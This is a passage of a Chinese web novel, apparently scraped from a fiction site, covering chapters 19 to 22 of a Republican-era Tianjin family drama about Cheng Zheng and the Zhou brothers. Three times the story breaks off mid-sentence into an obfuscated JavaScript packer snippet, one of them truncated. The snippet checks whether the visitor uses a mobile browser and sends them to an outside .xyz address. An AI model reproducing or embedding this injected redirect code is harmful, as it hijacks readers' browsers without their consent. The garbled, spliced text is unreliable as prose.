可这人毫不在意,将皮箱挨个扣上,仍旧一派令人作呕的君子温润相,说道:“还要感谢孙少爷,我坏事做近,背骂名的可是你,毕竟这些钱是孙少爷以你自己的名义投下的。” 这话更叫孙立来气,气得他将雪茄烟直接摁灭在桌子上,心道:钱收少了! 气了不多时,他甩过来一张合同:“签字,我要入股你们做钢铁的,如不是这样,我合该直接拎着这几大皮箱的钱从天津逃到英国去!” 挣一笔钱,还是用钱生钱,这道理孙立是很懂的,他看中周怀鹤的勇气和运气,这笔钱如数给了他,周怀鹤做的钢铁生意后续能挣多少可是无可预知的。 届时这书房兴许都装不下那好些英镑!他全换成金条存起来! 想到这里,孙立的血都要涌上眼睛里了,催周怀鹤快签,结果他侧过身子,边上那女人执笔落了字。 孙立冲上眼睛的血登时凉了,他立时站起:“怎地是她签!周怀鹤你怕不是被女人迷糊涂了,这好些钱你都白白给到她口袋里去?” “孙少爷别急。”周怀鹤慢慢地说,“公司是挂在程小姐名下的,我那七十万本金,便是靠程小姐弄来的,钢铁生意,也是程小姐提的,你和我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319175|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是同她一齐合作。” “况且,我暂且不希望周家知道我在做什么,尤其是我父亲以及我那两个虎视眈眈的哥哥。” 孙立将信将疑坐了回去,又听周怀鹤轻飘飘威胁:“我同程小姐是自由恋爱,孙少爷便别要将明婷小姐和我强凑一双姻缘,否则这生意也别要做下去了。” 孙立怒道:“我妹妹是早早守了寡,可那还不是那人不争气!你看不上她不成?” “我并无此意。”周怀鹤静声,“只是心有所属,不好再结利益婚姻。” 程筝心里蓦地一重,周怀鹤徐徐侧目,呼吸极其缓慢地洒向她耳垂,叫她从后门将王发喊上来,将这些皮箱拎上汽车。 她低一下头,去喊了王发,皮箱堆满了后备箱,装不下,顶头座位上还摞了两个。 一事谈罢,舞会还未结束,这里请来的只有几位不大同周家来往的生人,也没人识得他们,下楼后为圆谎只得去寻演电影的胡小姐,交谈一番,饮下几杯洋酒,程筝脑子登时便发起晕来。 她在现代倒不至于这样,看来还是身体不同的缘故,一上车,程筝便掖紧斗篷,灼热的脸颊贴着冰凉的车玻璃,下巴埋进那圈兔毛里,像是将要盹着了。 王发还在清点后备箱的皮箱数量,周怀鹤望她一望,忽然道:“现在算是私底下,你有话要同我说就现在讲。” 程筝慢慢呵了一口白雾出来,像是才想起来这事,脑袋顶着汽车车门,慢慢地看了他一眼,眼睛睁得没有太开,恹恹的将眯着,弯了弯手指道:“你过来些,我小声告诉你,不好让王发听了去。” 周怀鹤静了片刻,后排座位“吱呀”一声响,他一手摁在皮椅子上,甫一撑靠过去,程筝便拽着他灰色的围巾,靠得委实是近了,热气都呵到他鼻尖上,周怀鹤侧了侧。 “我想问,鹤少爷向我发火,究竟是因为我穿了良少爷的钱买的衣服,还是因着我走后没有传信给你,你想我了么?” 周怀鹤不讲话,程筝将头往前搁,闷闷的,下巴兜进他围巾里,眼皮都要闭上了,睫毛扫着他下巴尖。 “你在意么?你为何在意?” 周怀鹤仍旧不讲话,撑在车座上的胳膊几乎充起血来,慢慢地,粗壮了,他再次偏开头,撤回去远离了她。 可程筝似是真的喝醉了,顶纳罕地追过来,一张鹅蛋似的脸被月光晃亮一块儿,一遍遍问: 你为何不讲话? 你又生气了么? 然后她便烦起来了,道:“我就说你脾气大,王发总不信,我不要费心思哄你了,你顶烦人,我说了那么多好听话,你都不听。” 周怀鹤顶着太阳穴,顶无奈似的:“我听了,可我不能够听进心里去!” 程筝又问:“为什么不能够?” 声音愈来愈大,王发也进到车里来了,瞧了眼后座的气氛,询问道:“又怎地了?” “开车送她回周太太那里去,她醉晕了。” 王发得令,驱动汽车,一颠一簸之间,程筝歪煞撞到他肩膀,周怀鹤正烦闷,她却一无所知抱着他胳膊,说起糊涂话来。 说,你的胳膊和腿怎么长出来了?舌头呢?舌头也长好了罢! 一面讲胡话一面攀上他脖子要扯他的舌头出来看看,周怀鹤没好气将人推了回去,程筝靠了一会儿,竟真的盹着了,将脚踝往袍子里缩了缩。 周怀鹤见她冷着了,发声催王发开快些。 前头正好碰见夜查的,打着电灯拦停他们,王发猛地煞住车,程筝歪倒在周怀鹤身上,他接她的脑袋接了满手,那些卷过的亮润的头发便从他手指缝里穿过去。 定了定,他无奈,将这人的头放好在自己膝上,替她将袍子捂紧。 “这是周家鹤少爷的车。”王发喊着。 两个军官不打招呼撩开车帘,周怀鹤冷下神色,猛地扯出程筝的兜帽将她的头兜上遮住,随即向两个军官横去一眼。 二人稍稍低头,解释道:“近来有几个潜逃的,上头说要捉人,非得严查才行,鹤少爷勿怪。” 言罢,放好车帘,做手势让放行。 汽车走后,两个军官靠着一齐琢磨:“鹤少爷何时交上女朋友,倒是没听说过。” 另个军官忖度许久,纳闷道:“你觉不觉着那女人侧脸有些眼熟?哪里见过。” “呵,你见过的女人可太多了!” “不对!就是见过,那日你我在街上拦一辆黄包车,那丫头说边上是她们周家的六姨太,我们还专向周少将赔罪去了,记得不记得!” “你这样一说……”两个军官面对面。 这鹤少爷不是将他老子给绿了么! 20.第 20 章 车子开到周怀良的住处,停了,程筝尚趴在周怀鹤的双腿之上睡着,整颗头被毛绒的兜帽团住,只露出一点鼻尖。 王发下来打开车门,见这情况,颇显局促起来,只道是他车开得不稳,将程小姐晃下来了罢,紧接着忙去将人扶起来。 周怀鹤怔怔抚平腿上布料,躬身下车,王发连连唤她几声,将程筝喊醒,她抿唇皱眉,被车外刮骨的冷风吹醒几分醉意。 “送到了?”程筝糊涂地说着,便迈步向公馆里去,期间跄倒一步,周怀鹤伸胳膊叫她稳稳扶住。 “要我扶你进去么?”他说。 程筝说不用,稳住身子便走上台阶去揿电铃。 周怀良披一件外衣将门拧开,两兄弟对了一道视线,彼此脸上都挂着些陌生的表情,程筝推门要进去,周怀良瞧着她,话却是朝周怀鹤说的:“人怎么醉了?” “既然是舞会,免不得吃几口洋酒。” “孙家怎么会突然叫上她?” “我怎会知道别人的打算,难道大哥怀疑是我的手笔?”周怀鹤挂上假笑,风吹得他偏头闷咳,“过虑了,我并没有这样的心计,也没有缘由做这样的事。” 周怀良眯一下眼,捏住她的肩膀引程筝进屋,触到满掌心的凉风。 周怀鹤斜眼钉住二人接触的位置,指甲抵了抵掌心,面上仍是幅浅淡挂笑的假虚弱模样。 俄而,周太太听见些动静,迎了出来,见程筝晕晕乎乎的,上来搀住人,念了周怀鹤几声:“清清爽爽出的门,怎地闹成这样回来,真是。” 视线甫一触及那斗篷领子下掩住的翡翠坠子,周太太便一愣。 门口兄弟二人还谈讲着无趣的寒暄,周怀良问他父亲的情况,周怀鹤淡淡地说还生着气,不愿撇下脸来求人回去。 不过昨日宁波杜家给周五爷去了电话,好一番说教,叫周峥顾忌着些。 不仅如此,许是周太太向娘家电话报了信,杜氏那边不许周峥纳新的姨太太,看现状程筝六姨太的身份是很难坐实了。 不过他父亲跟杜流芳积怨已久,这次会不会顾忌杜家的背景也难说,杜家是在周峥微末之时将女儿嫁与他扶持过他,可如今周家蒸蒸日上,周峥丢掉良心翻脸也不无可能。 “爸爸应该快要过来接人回去了。”周怀鹤笑道,“这些日子给大哥添麻烦了。” “我自己的母亲过来小住,有何麻烦。” “我说的是六姨太。”周怀鹤视线往里钻了钻,连着门厅的这道走廊亮着黄色的电灯,乍一看上去一小截火车车厢,亮着灯穿过幽暗的石洞隧道,周怀鹤的视线也穿了过去,周太太脸上显出些疑惑,慢慢将人领上楼。 “六姨太也不劳你挂心,我这里自会招待好。”周怀良觉着他在意过甚了。 “回去以后记得跟爸爸说一声,我联系了一位医生,过几日领过去戒掉他的烟瘾。”他认真地说,“爸爸抽成这样,身体怎会好?” 周怀鹤心道,这家里约莫只有你一人想要面面俱到地照顾好,因为你是周五爷和周太太的长子,周家名正言顺大房的孩子,倒是光正伟岸得不得了。 心里正隐隐嗤着,又闻周怀良道:“你也是,身体忒差了些,冰天雪地的别要夜里出门,届时叫医生给你开几副药健健身体。” 大哥长他四岁,说话做事自带长辈口吻。 周怀鹤定了一定身,不知作何回答,只消“嗯”一声,转头便登上汽车去了。 程筝这一觉睡到隔日晌午,家里无人,也没谁喊醒她,醒来时候从昨日穿出门的黛青色袍子里摸到一张写好的支票,是她向周怀鹤讨过的四千元钱。 这下芸芸那边的难关是要过了。程筝将支票折好塞进衬衣里,计划寻个机会将芸芸叫出来。 脑壳还隐隐作痛,程筝洗漱完后下楼饮下一大杯冰水,公馆里暖融融地烧着火,周太太陷在沙发里,手里拎个烤手的小炭盆,圆形木桌上摆一台无线电播送新闻,她正重新给指甲染色。 程筝坐过去帮她,周太太将刷子递交给她,慢慢挑她一眼,忽而道:“鹤少爷很喜欢你么?” 捏着刷子的手一顿,差点将颜色涂歪,程筝反问:“太太怎地突然这样说。” “你颈子上的翡翠坠子,鹤少爷赠给你的罢。” 程筝道:“我没有首饰,他借我戴一戴,是要还回去的。” 周太太作沉思状:“尽早还回去罢,这东西收下不大好。” “有什么说法么?”程筝抬眼,见周太太一派讳莫如深的模样。 “这链子我识得,五姨太逃去香港时我赠予她的,算是五姨太的遗物了,周怀鹤竟愿意借给你戴,像很看重你似的,怪事。”周太太抬手将指甲吹干,慢慢地说,“他一直害病,向来不怎么同人交好,天津城里连几个朋友都找不出,你何时见他愿意与王发以外的人多讲几句话?” 这话不作假,程筝也明白周怀鹤顶难相信人,手头也只有一个香港带过来的王发,以及姨母秦三小姐可信,正是因为无人可用,在香港时才一遍一遍问她是否是和他站在一条线上的。 替周太太涂完剩下的指头,她反被捏住手。 “你这十根手指头长得也好,葱白似的,一点不像做过农活的丫头。”一面说着,周太太一面替她涂上红色的蔻丹,“你年纪尚轻,待在姓周的身边也是白白浪费青春年华,我向娘家去过电话,还是扮个恶人,不会叫姓周的纳你当姨太太。” 她向她的指甲吹几口气固住颜色,“年过完以后,我叫他放你回家去。” 即使知晓周太太是为她着想,可程筝心间兜着千言万语不可言说,只剩下惶惶一片,艰涩开口:“我……” 周太太睇她一眼:“你舍不得荣华富贵不成?” “太太,假使我回了家。”程筝挤出个苦笑,思忖着说辞,“也是会被嫁出去的,日子不定会比现在好过。” “嗳。”周太太毕竟生来是富家小姐,连乡野的泥巴路都没趟过,自小走的就是平整的柏油道,“我没想到这层。” 两个女人默默无言涂完十根指头的蔻丹,周太太叫程筝晾晾干,过年时候手上红艳喜庆,后来谁都没有再提将来的计划。 少时,周怀良踩在楼梯上,真把程筝当秘书一样差使起来,叫她跑腿去门口的信箱里将邮件都拿进来。 毕竟还托他谈陈先生的聘书事情,程筝心中憋一口气,换了鞋去拿邮件,低眼一看都是从东北那边来的,远东集团军同东北边防军的交战。 程筝捏着一沓冰凉的邮件踏上楼梯去,放在他书桌绿头台灯边上,任务完成后便要退出去,周怀良今日留在家中批文,眼也不抬,只叫她等等。 “等我写完回复,替我寄出。” 程筝道:“写好后再叫我来就行。” 周怀良伸胳膊拆了一封,道:“麻烦。你就坐这里等。” 她还想出门找芸芸,这下也没法子,只得旋身坐进他书桌前头一尺的沙发椅上,面前的圆形橡木桌子上搁了一盘饼干,茶壶里的茶也还是热的,她便一面等一面窸窸窣窣地吃东西。 肚子吃饱了,他还低头在写字,钢笔尖划着粗糙的纸,沙沙的。 程筝向他问:“东北那边如何?” “边防军战败了,蔡厅长做代表去跟苏联人谈判。” “你真不避着我?万一我是特务呢?”程筝真好奇。 周怀良终于舍得瞭她一眼,“今早的晨报都登过了,不是秘密。” “哦。”程筝干干地应了一声。 静了一会儿,她像安静不下来似的,又催:“究竟还要多久?我困了,要睡午觉了。” “快了。”周怀良拆第五封,她沉下一口气,扯过毯子盖在腿上,继续等。 等到他终于是写完所有回信,用掉半瓶墨水,程筝已经裹紧棉衣窝在沙发椅上盹着了,兴许是醉酒后没睡够。 天气寒冷,玻璃窗上凝了霜,日光像银色的线穿梭在她睫毛之间,簌簌的影子如同一双小手合在她颊上,红色的指甲半缩在毯子底下。 周怀良给所有信件封装好时瞧见的就是这般景象,他将脊背后仰,支着下颌瞧了她许久,然后拖开凳子起身。 他自己出门寄掉了邮件,那件总披在肩头的大衣被遗留在了家里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338563|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周怀良心想,一个在哪儿都能睡着的人,天生不是做特务的料子。 寄完回信到家,程筝已经醒来,将他的大衣挂起,她翘着腿坐在他那件衣服下面,手里拎着暖手的烤盆,正笑着同周太太讲话,然后回头瞭他一眼,离开了他的那件外套。 “良少爷,衣服我不知挂在哪里,您自己收好罢。”她说,“对了,今日老爷那边差了人来,服软请太太回去,我们应该不会烦你太久。” 周太太冷哼:“他不自己向我低头道歉,白纸黑字写下承诺,我是不依的,下次不知又会寻个什么由头打压我的气焰。” 周怀良从外头进来,身上都是冬天的寒气,沉吟许久,道:“想待多久待多久便是,这里又不少吃少穿。” 程筝道:“我占的是张妈的房间,留太久也不大好,等周五爷打消让我同房的意图,我便回去了。” 周怀良一抿唇:“爸爸这事办得很不好。” 周太太拖长声调埋怨:“他听人家讲么?只顾自己好活,那个劳什子何师父胡言乱语几句他便奉为圭臬,要娶个小丫头冲喜,我看他早抽大烟抽糊涂了。” 几个人念叨几句周峥的窝囊与不好起来,周怀良拎着外套回房,外衣上熏着一些炭火味,许是因着程筝坐在衣服下头烤过火。 烟熏的味道之中夹杂一些极淡的香气,像是她洗头发的香膏味,周怀良恍然片刻,心道:既然她不愿意,父亲不该迫着人嫁过去。 他又慢慢地重复一遍:爸爸这事办得很不好。 后续几日,程筝心里对周怀良是颇有埋怨的。 这人仿佛是从差使她做事之中得出些乐趣,便时时叫她做东做西,或是什么都不做,就叫她坐在书房那张沙发椅上等他写东西,性子委实古怪极了。 她觉着这人是将免费劳动力压榨到极致,心里忿忿骂他是万恶的上等人。 好容易溜出些空来,程筝叫车载自己到周公馆大门,自己没进去,差了个黄包车夫进去唤芸芸出来,托他说是一位姓程的小姐要找。 得了消息,芸芸急匆匆地奔将出来,一根粗粗的辫子远远甩在脑后,欣喜地晃她的胳膊道:“真假?真拿到这么多钱!” 程筝将那四千元支票展开,叫她看上头的字,芸芸不管不顾:“你说是真的就是真的,我不识得太多字,不认得这个。” “你姊姊在哪里?我们现在去将人买出来。” 芸芸招手叫黄包车夫将胶皮车立好:“在东马路那边。” 东马路是市集,摊贩商店都聚在那处,霓虹灯光亮彻整条柏油道,玻璃橱窗里头摆着各种时兴的洋装衣裳,高跟皮鞋,一路嘈杂喧闹。 在各种商店期间夹杂一道窄小的门洞,穿过去、踩上一处砖头砌的楼梯,便绕到二楼去,里头是各种男男女女的甜腻的声音,这便是芸芸说的“堂子”。 二人甫一进去,老鸨上下将人一瞧,以为是来捉丈夫的太太,立时垮下脸去,招待都不招待,想着法子将二人赶出去。 程筝道:“我有两个亲信在这处,我带了钱要将她们买回去。” 老鸨穿一身最紧的旗袍,勒着细细的腰,上下将她打量透了,并不当回事:“你旁边这丫头来找我许多次了,我也讲过价,两个人,四千元,半个钱也不能少。” “我不会少你半个钱。”正说着,程筝将要从荷包里拿支票出来,不料里屋里传来几声尖叫,紧接着是敲打的声音,一行凑热闹看好戏的尽数围了过去。 程筝眯住眼向那处望了一眼,芸芸喊着:“那是我大姊!” 大门被撞得半开,里头摆好的喜鹊屏风也被撞得歪煞,几人在里头追赶,挽着头发的高挑女子背后护着个矮小的,手里握着碎掉的瓷片,尖利地骂着人:“不要脸的东西!她这个年纪哪里能陪吃酒!” “你该去问老妈妈,怎地怪上我了?是我叫她到这种地方来的么!” 老鸨眉一皱,捏着手巾看是谁闹事,程筝往那半扇门里头看,高挑的那个应该是芸芸的大姊,她护着的那个小的…… 在看清那人半张脸以后,程筝猛地竖起眼仁。 那分明是玉玲师父! 21.第 21 章 待客的里屋里,茶碗摔碎一地,程筝连支票都忘了抽,拨开人群抢进屋子里去,捏着那小孩子的团白脸左看右看,护着玉玲的芸芸大姊被她这行为弄糊涂了,捏在手里的瓷片都往下放了放。 玉玲飞开她的手,拽着芸芸大姊的胯摆不耐烦道:“你又是谁,扯得我脸好痛!” 程筝定在原地,究竟是她认错,还是这是以前尚不识得她的小玉玲? 本来二女一男的争执,忽地插进个新人来,老鸨长一张扁薄的俏丽脸,好声好气拉着架,叫那先生歇歇脾气。 这时芸芸也挤了过来,唤了一声“庆蕊大姊”,便同庆蕊抱至一团去了,程筝皱着眉头,又看了看尚且只有十四五的玉玲,小孩子正拿兽一般的目光直直射着她。 “这两个人我要买走。”程筝背着身掏支票,旋身啪的一下拍至老鸨绣着花边的胸口,“四千元尽管去提,她们不招待这位先生了。” 言罢,朝芸芸使了个眼风,芸芸点点头,拉着一大一小的手便往堂子外头走。 好容易再相逢的姊妹两个乘同一辆胶皮车,窃窃讲着体己话,眼泪花都框在眼睛里,被急急揩去。 玉玲与她同乘另辆车,圆的粉白脸僵凝着,端端正正将两只手搁在膝盖上,似乎觉得她是个古怪人,忍了许久,末了终于被程筝直晃晃的视线盯得遭不住,瓮声瓮气地说:“你一直瞧着我作甚?” 程筝道:“你是叫玉玲不是?” “老鸨同你讲的我的名字?” “那你是姓何么?” “不晓得,我爸爸便没有姓,他就叫阿狗,所以我也不晓得我姓什么。” 玉玲的头发遭剪子剪得极短,狗啃过似的不齐整,溜海上一个豁口,配她一张板正脸,有些滑稽。 程筝陷入沉思,名字和模样分明就是对得上的,如果这是玉玲师父的话,就表示现代那位玉玲是活了一百来岁,真成活神仙了。 奇了。 她深觉脑仁疼,靠在胶皮车里□□太阳穴,脚夫径直将四人拉去周公馆,下了车子,芸芸捏着双手踱步到程筝跟前来,向她道:“程小姐,这笔恩情我准会记在心里的,日后我将当你亲姊妹!” 程筝无奈掏手巾出来叫她擦擦脸,随后向她身后那两人一指:“怎么安排她们呢?” “我想要带回周公馆,求杨妈收她们在府里做工,短工长工都好,总有个歇脚的地方。”讲完,她捏着程筝的手巾帕子,噎了片刻,道,“老爷好了不多久,新近身子又开始坏,杜家那边又迫得紧,周家账面上同宁波厂子那边还有几笔生意没成,老爷只得先屈服了,你和太太计划什么时间回来?” “快了罢。”程筝算着,“周太太说要收了老爷立的字据贴在大门上才肯回家住,不过也说要与老爷分房睡。” “嗳。”芸芸细声,“我总觉着太太最后还是会同老爷离。” 这话刚说完,公馆里传来杨妈的高声:“芸芸!你站在外头作甚!” 芸芸忙将程筝往墙角推,掉过头应声:“杨妈,我正有事要同你商量呢!” 程筝看她将玉玲牵进公馆里,便低了头重新坐上黄包车,让脚夫拉她回去。 这一趟下来已然傍晚,衖堂里电灯亮起一排,弯弯绕绕像发光的长虫,枯黄色的叶子在黑色的树底下聚成一团,被寒风牵动,便像人的脚步一样发出“踏踏”的声响。 程筝“踏踏”地步上门口的几道楼梯,摘了绒毛披风,屋子里烧着足足的炭火,闻久了便教人昏昏欲睡,可周太太顶怕冷,不叫人开窗户。 周怀良的住处布置乏善可陈,没有牌桌可供娱乐,周太太又是一气之下带着她奔逃出来的,连别家太太也不好请进家里推牌,怕人嚼她的舌头,这好些日子连门也不大出,瞧上去是快闷到极限了。 当天晚上,三人正用晚饭时,周峥乘汽车亲自过来,一张酱色国字脸,像醋腌的发青的蒜头似的,开口也是又酸又硬的声口,说,字据他立下了,周太太还是唯一的周太太,他暂时不纳新的姨太太夺她的位子,可是经证实,程筝于他病体有益,这人是一定要带回去的。 说,你要的名声我都给了你,太太这下是否能够不闹脾气了。 同舟共济许多年,最后还是靠一道生意,一道利益牵在一处去。 程筝站在周太太身后向周峥望去一眼,符纸的效力渐渐消失,周峥先前面上的荣光便悉数褪尽了,眼下青黑,眼球内陷,一副活不长的样子。 而在他的周公馆里,却又恰恰是人人都盼着他死,好不唏嘘。 少顷,周怀良的声音有如定海神针:“字据我替母亲收着,这种糊涂事,父亲不要再做了。” 老子反被小子教训,叫周峥面上更加难看,周怀良宽硕的肩上披上微弱的电灯橙光,影子都要比老爷子高大许多,他抿紧干巴巴的嘴唇,将薄纸递了过去,教训着:“你心里只装着你的好母亲。” 周怀良低眼认真地审查一番,程筝好奇地歪脑袋去看他手里的纸,周怀良睨她一眼,她弯起眼睛悻悻微笑,心里正腹诽难道她看也看不得?紧接着周怀良垂眼捏着那页纸,发片刻愣,将字据扔给她,低低地说:“看完后拿到我书房去收着。” 程筝忍了下来,最后一会儿了还得给人当秘书。 “桌上有你替陈先生要的聘书,我找元校长谈下来了,自己取走。” 这话一出,她立时觉得周怀良也不是那样不可爱了。程筝将周老爷立的字据按折痕重新折好,笑容盈满她的一双眼睛:“太感谢良少爷了。” 周怀良瞧她那笑脸,慢慢收回视线,又对他的父亲说:“过年时候我会找一位苏联的医生去家里,教父亲将大烟戒了,身体为重。” 周峥仍旧嘴硬:“我的身体好不好,我自个儿最清楚!” “大烟必须戒掉。” “你!你们一个个的,我活该不生你们这些儿子,没一个有孝心!” 周怀良冷冷地说:“是爸爸你总听那姓方的胡言乱语,他总会搅得周家不安生的。” “秋水比你们都要挂心我,你不过是替你母亲出气,看不惯他!” 周太太白他一眼:“你还要同我扯秋茹的事情不成?还要提这档子旧事的话,今儿我也不消回去了。” 周五爷瘦条条的身子在寒风中颤动,好似被气得不轻,终了还是顾全大局,没有再同周太太理论,但看表情仍旧是不服气的。 二人拣好东西装进皮箱里,比过来的时候多了几件呢子冬衣。 周怀良坐在楼下的沙发椅上,见她下了楼梯,目光也没有挪动一下,周太太换好鞋子要跟周峥一齐上车去,回头嘱托了几句便关了门。 咔哒一声,屋子里静了下来,程筝用过的手盆还烧着未灭的炭火。 茶壶刚煮热的茶已经又凉掉了,他双手交搭在腹部,静坐在原地,听着外头汽车引擎驶去的声音,凛冬的风咚咚捶着他的窗户,周怀良饮下一口凉茶,上楼办公,见书房里的文件已经被重新理过,应当是恰才程筝收拾过。 绿灯罩电灯被打开,周怀良继续看起批文来。 开春时节,香港的陈先生便收到了一封南津大学的聘书,他欣喜若狂,即日买票奔去天津。 程筝将此事同周太太说过,说她找了位教书先生,下午到晚上会过来给芸芸她们教些课,就是不知道老爷同意不同意。 经上次一吵以后,周太太现在脾气要较先前更大:“管他作甚?家里的事他向来不问一句,只管去请就是,家里佣人多识些字也是好事。” 她现在就等着老爷子病死,日复一日地盼着自己解放那天,一面盼望一面嗑光了银盘里的糖瓜子。 陈放到周公馆第一天,被公馆里各式各样的设施布置晃瞎了眼睛,他换了玳瑁眼镜,向上提了一提,芸芸领他到后花园里,大片的黄金树谢掉了叶子,假山背后是歇脚的凉亭,大理石雕的石桌子石凳子,陈放摸了又摸,翘着脑袋坐下去,被冰了一激灵。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357727|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >芸芸在一旁觉着很好笑,低低与程筝咬耳朵:“这先生怎地一派傻样子。” 上罢一日课,她又恍恍惚惚,变得崇拜起来:“先生果然还是真读书人。” 这下换程筝觉着她好笑,复问她玉玲新近如何,芸芸顶苦恼,说这小孩子很不亲近人,平日也不好动,不同人讲话,一个人孤零零地自己玩,很古怪的性子。 “她人去哪里了?” 芸芸收好一本《世说新语》,指向前堂:“下月春节,杨妈正使唤人拆洗地毯、窗帘、备年货,玉玲也被差使过去做事了,应该是在前头呢。” 程筝寻去公馆大堂,刚推开后门踩进水门汀地上,便见到周怀鹤正拧开一罐龙井茶叶,搓了几下搁在茶盏里头,他搓一下便抖下来一些茶叶,玉玲等在旁边,冷清着脸用抹布擦掉。 分明眼都没抬,可她一抬步过去便被周怀鹤捉住声音,那人漫声讲话:“芸芸说这佣人是你买回来的,四千元钱就为了买这样一个笨手笨脚的小丫头?” 玉玲佯装抹布甩到他手背上,周怀鹤抿直唇线,玉玲很不诚心地说“对不起”,程筝直笑。 “你往公馆里带了很多新人。”周怀鹤将茶碗盖子合上,向后懒懒靠去,望向她,“那位陈先生又是哪里结交的。” “香港时候。” “我不记得有这件事。” “鹤少爷何必事事认真。”程筝闲闲嗑起糖瓜子来,“陈先生想回内地讲学,我便搭他一把手,这不是为内地培养可造之才么?” “只是这样?”周怀鹤显然不信她不存别的心思。 “嗯……”程筝向他一笑,“也是为了你我的大计呀!鹤少爷不是嫌无人可用么?我便拉拢些人过来,陈先生现今在南津大学任职,日后不定有可以差使的地方。” 周怀鹤慢慢将视线聚拢在茶杯里,似乎是信了。 忽地,楼上传来几道摔砸声,周峥在屋内哀哀叫嚷起来,程筝惊了一瞬,周怀鹤却泰然,继续往口中抿进热茶。 “大哥有意让父亲戒烟,这几日会闹腾起来。” 语气极淡,似乎与自己无关似的。 程筝定定望着楼上,杨妈匆匆从屋内出来,苦皱着脸寻去方秋水的房间,将人叫了出来。 程筝问周怀鹤:“你希望老爷身体康健么?” 周怀鹤静静搁下茶盏:“程小姐已经跟我去香港走过一道,听完了我母亲的故事,你觉得呢?” 她觉得周怀鹤恨不得他父亲快些死。 如果她所知道的一切是事实,那么最后造成周怀鹤死局的人也是他的亲生父亲,只是这其中缘由定没有偷情这样简单,思来想去,都觉得这只是个幌子,哪里有人会因为儿子与女人偷情,将儿子沉塘的。 即便父子关系恶劣,周怀鹤也是周峥的亲生骨肉。 可瞧见周怀鹤冷淡神色的这一瞬,程筝忽地静了。 她想到,如果有一日周怀鹤知晓她并非真的同他站在一线,只是为了博取信任要他的命,是否也会挂上同样冷然的面色。 嗳,她何必多想这些事呢?程筝心说,总之事情办完她也不会留在这里了,还是回去当她的编辑审她的书,陪姥姥走完余生,周怀鹤如何如何,哪里与她牵得上关联。 现今老爷子在楼上叫苦不迭,周怀鹤悠然自得静坐饮茶,周峥反倒是将毫无血缘关系的方秋水请进屋子里去,门一关上,只听见几句孱弱的哀嚎,道:“秋茹……秋茹。” 方秋水长一张与二姨太极为相似的脸,周峥烟瘾上来时便总将人认错,枯瘦的手指紧紧攥着他,可他这位二儿子只是一直含笑向下睨视他,对他说:“父亲何必受大哥的牵制。” 他语气轻轻,有意引导:“这家里您才是老爷,大哥委实拎不清,自然是您想如何便如何,难受的话,我替父亲烧两个烟泡来。” 周峥惨白着一张脸,眼珠直直钉住他,只是喊“秋茹、秋茹”。 方秋水便连笑也不想笑了。 22.第 22 章 先前请来专为周峥烧大烟的仆人遭周怀良遣回了家,方秋水看着床榻上的人,毫无所动地将手指抽出,依然一派言笑晏晏的作风,重复一遍:“我去为爸爸烧两个烟泡来。” 掉过头,面光便骤然凉掉,像屋外的霜风冻到他脸上来似的。 刚下楼去,周怀鹤见他一径向烟炉子那处走去,于是一面撇开茶上浮沫一面慢慢开腔:“大哥说不准给他再吸烟。” 方秋水略定一下身,夸赞道:“三弟好听大哥的话,但你也知晓我与大哥关系不很好,自然是以父亲的感受为有限的,先前父亲不还说这周公馆是他的么?” 程筝的视线在二人之间流转,方秋水的视线在她身上,用了片刻的心思想事。 周怀鹤一笑:“我并没有拦着你,只是传一下大哥的话,表示这话我是带到了。” 言罢,周怀鹤自顾自喝起茶来,再没分一个眼神。 方秋水也并不搭腔,去取了周峥的象牙烟枪来。吸上了烟,周峥便安静了,方秋水盯着那点儿烟雾,又漠然将视线挪远到红绿窗户上。 除夕前一天下午,陈放来公馆里教今年最后一篇文,芸芸勤快地摘抄下来,又留他在假山后头那张大理石桌子上头讲说了许久,程筝在一旁听个无聊,忽而听见陈放提议:“我瞧这周公馆里许多下人都有念书的兴趣,要是能办个夜校也很好。” “夜校么?”程筝琢磨着,可她再待不到半年就要回去了,假使有这心思也这没时间,况且届时又要四处求人帮忙疏通,好不麻烦,教她登时打起退堂鼓来。 玉玲一个字也不吐出来,呼呼翻书页,好似一切都与她无关。 “这样再好不过,指不定越办越大,办成个新学校!”芸芸拨浪鼓似的一拍巴掌就称赞起来。 “可钱从哪里出?”程筝叹气,“芸芸,你真以为我抖抖荷包便能掉出无数金银不成?这可不是小事。” “我只是赞成一下,事确是好事。”芸芸也知晓这事不很容易。 三个人闲闲搭话时,周太太披着一身雪白狐狸毛,怀里揽着博美犬,上亭子里来,瞧了她们一瞧:“还学文章呢?事情都不做,杨妈唤了许多次,要将外头那些炮仗抱进后院里放着,明天夜里大家一齐点掉。” 芸芸立时站起来:“我这就去!” 